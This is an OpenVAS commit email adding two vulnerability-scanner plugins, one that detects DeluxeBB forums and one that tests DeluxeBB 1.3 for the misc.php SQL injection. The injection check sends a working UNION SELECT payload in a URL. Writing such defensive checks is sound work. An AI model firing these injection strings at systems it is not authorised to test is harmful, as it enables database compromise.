[Openvas-commits] r2858 - in trunk/openvas-plugins: . scripts
scm-commit@wald.intevation.org
scm-commit at wald.intevation.org
Fri Mar 20 11:01:56 CET 2009
Author: mime
Date: 2009-03-20 11:01:53 +0100 (Fri, 20 Mar 2009)
New Revision: 2858
Added:
trunk/openvas-plugins/scripts/deluxeBB_1_3.nasl
trunk/openvas-plugins/scripts/deluxeBB_detect.nasl
Modified:
trunk/openvas-plugins/ChangeLog
Log:
Added new plugins
Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog 2009-03-20 08:12:53 UTC (rev 2857)
+++ trunk/openvas-plugins/ChangeLog 2009-03-20 10:01:53 UTC (rev 2858)
@@ -1,3 +1,8 @@
+2009-03-20 Michael Meyer <mime at gmx.de>
+ * scripts/deluxeBB_1_3.nasl
+ scripts/deluxeBB_detect.nasl:
+ Added new plugins
+
2009-03-20 Chandrashekhar B <bchandra at secpod.com>
* scripts/ldapsearch.nasl:
Fixed the false reporting issue
Added: trunk/openvas-plugins/scripts/deluxeBB_1_3.nasl
===================================================================
--- trunk/openvas-plugins/scripts/deluxeBB_1_3.nasl 2009-03-20 08:12:53 UTC (rev 2857)
+++ trunk/openvas-plugins/scripts/deluxeBB_1_3.nasl 2009-03-20 10:01:53 UTC (rev 2858)
@@ -0,0 +1,110 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# DeluxeBB 'misc.php' SQL Injection Vulnerability
+#
+# Authors:
+# Michael Meyer
+#
+# Copyright:
+# Copyright (c) 2009 Michael Meyer
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+
+if (description)
+{
+ script_id(100064);
+ script_bugtraq_id(34174);
+ script_version ("1.0");
+
+ script_name(english:"DeluxeBB 'misc.php' SQL Injection Vulnerability");
+ desc["english"] = "
+
+ Overview:
+ DeluxeBB is prone to an SQL-injection vulnerability because it fails
+ to sufficiently sanitize user-supplied data before using it in an
+ SQL query.
+
+ Exploiting this issue could allow an attacker to compromise the
+ application, access or modify data, or exploit latent
+ vulnerabilities in the underlying database.
+
+ DeluxeBB 1.3 and earlier versions are vulnerable.
+
+ See also;
+ http://www.securityfocus.com/bid/34174
+ http://www.deluxebb.com/
+
+ Solution:
+ Upgrade to newer Version if available.
+
+
+ Risk factor : Medium";
+
+ script_description(english:desc["english"]);
+ script_summary(english:"Determine if DeluxeBB <= 1.3 is vulnerable to SQL Injection");
+ script_category(ACT_GATHER_INFO);
+ script_family(english:"Web application abuses");
+ script_copyright(english:"This script is Copyright (C) 2009 Michael Meyer");
+ script_dependencies("deluxeBB_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("global_settings.inc");
+include("http_func.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+
+port = get_http_port(default:80);
+if (!get_port_state(port)) exit(0);
+if (!can_host_php(port:port)) exit(0);
+
+install = get_kb_item(string("www/", port, "/deluxeBB"));
+if (isnull(install)) exit(0);
+
+matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
+
+if (!isnull(matches[1])) {
+ version = matches[1];
+ if(version != "unknown") {
+ if (version_is_less_equal(version:version, test_version:"1.3") ) {
+ security_warning(port);
+ exit(0);
+ }
+ } else {
+
+ if(!isnull(matches[2])) {
+
+ dir = matches[2];
+ url = string(dir, "/misc.php?sub=memberlist&order=1&qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,0x4f70656e5641532d53514c2d496e6a656374696f6e2d54657374,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23&sort=ASC&filter=all&searchuser=.&submit=1");
+ req = http_get(item:url, port:port);
+ buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+ if( buf == NULL )exit(0);
+
+ if(egrep(pattern: "OpenVAS-SQL-Injection-Test", string: buf)) {
+
+ security_warning(port:port);
+ exit(0);
+
+ }
+ }
+ }
+}
+
+exit(0);
Property changes on: trunk/openvas-plugins/scripts/deluxeBB_1_3.nasl
___________________________________________________________________
Name: svn:keywords
+ id
Added: trunk/openvas-plugins/scripts/deluxeBB_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/deluxeBB_detect.nasl 2009-03-20 08:12:53 UTC (rev 2857)
+++ trunk/openvas-plugins/scripts/deluxeBB_detect.nasl 2009-03-20 10:01:53 UTC (rev 2858)
@@ -0,0 +1,114 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# deluxeBB Detection
+#
+# Authors:
+# Michael Meyer
+#
+# Copyright:
+# Copyright (c) 2009 Michael Meyer
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+# need desc here to modify it later in script.
+desc["english"] = "
+
+ Overview:
+ This host is running deluxeBB a widely installed Open Source forum solution.
+
+ See also:
+ http://www.deluxebb.com/
+
+ Risk factor : None";
+
+if (description)
+{
+ script_id(100063);
+ script_version ("1.0");
+
+ script_name(english:"deluxeBB Detection");
+
+ script_description(english:desc["english"]);
+ script_summary(english:"Checks for the presence of deluxeBB");
+ script_category(ACT_GATHER_INFO);
+ script_family(english:"General");
+ script_copyright(english:"This script is Copyright (C) 2009 Michael Meyer");
+ script_dependencie("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+
+port = get_http_port(default:80);
+
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port)) exit(0);
+
+dirs = make_list("/board","/forum","/deluxebb","/forums",cgi_dirs());
+
+foreach dir (dirs) {
+
+ url = string(dir, "/index.php");
+ req = http_get(item:url, port:port);
+ buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+ if( buf == NULL )continue;
+
+ if(
+ (egrep(pattern: "^Set-Cookie: lastvisita.*", string: buf) &&
+ egrep(pattern: ".*DeluxeBB.*", string: buf)) ||
+ egrep(pattern: "DeluxeBB .*</a> is copyrighted to the DeluxeBB.*", string: buf) ||
+ egrep(pattern: ".*powered by DeluxeBB.*", string: buf)
+ )
+ {
+ if(strlen(dir)>0) {
+ install=dir;
+ } else {
+ install=string("/");
+ }
+
+ vers = string("unknown");
+
+ ### try to get version
+
+ version = eregmatch(string: buf, pattern: ">DeluxeBB ([0-9]+\.+[0-9.]*)</a> is copyrighted.*");
+
+ if ( !isnull(version[1]) ) {
+ vers=version[1];
+ }
+
+ set_kb_item(name: string("www/", port, "/deluxeBB"), value: string(vers," under ",install));
+
+ info = string("None\n\ndeluxeBB Version (");
+ info += string(vers);
+ info += string(") was detected on the remote host in the following directory(s):\n\n");
+ info += string(install, "\n");
+
+ desc = ereg_replace(
+ string:desc["english"],
+ pattern:"None$",
+ replace:info
+ );
+
+ security_note(port:port,data:desc);
+ exit(0);
+ }
+}
+
+exit(0);
Property changes on: trunk/openvas-plugins/scripts/deluxeBB_detect.nasl
___________________________________________________________________
Name: svn:keywords
+ id
More information about the Openvas-commits
mailing list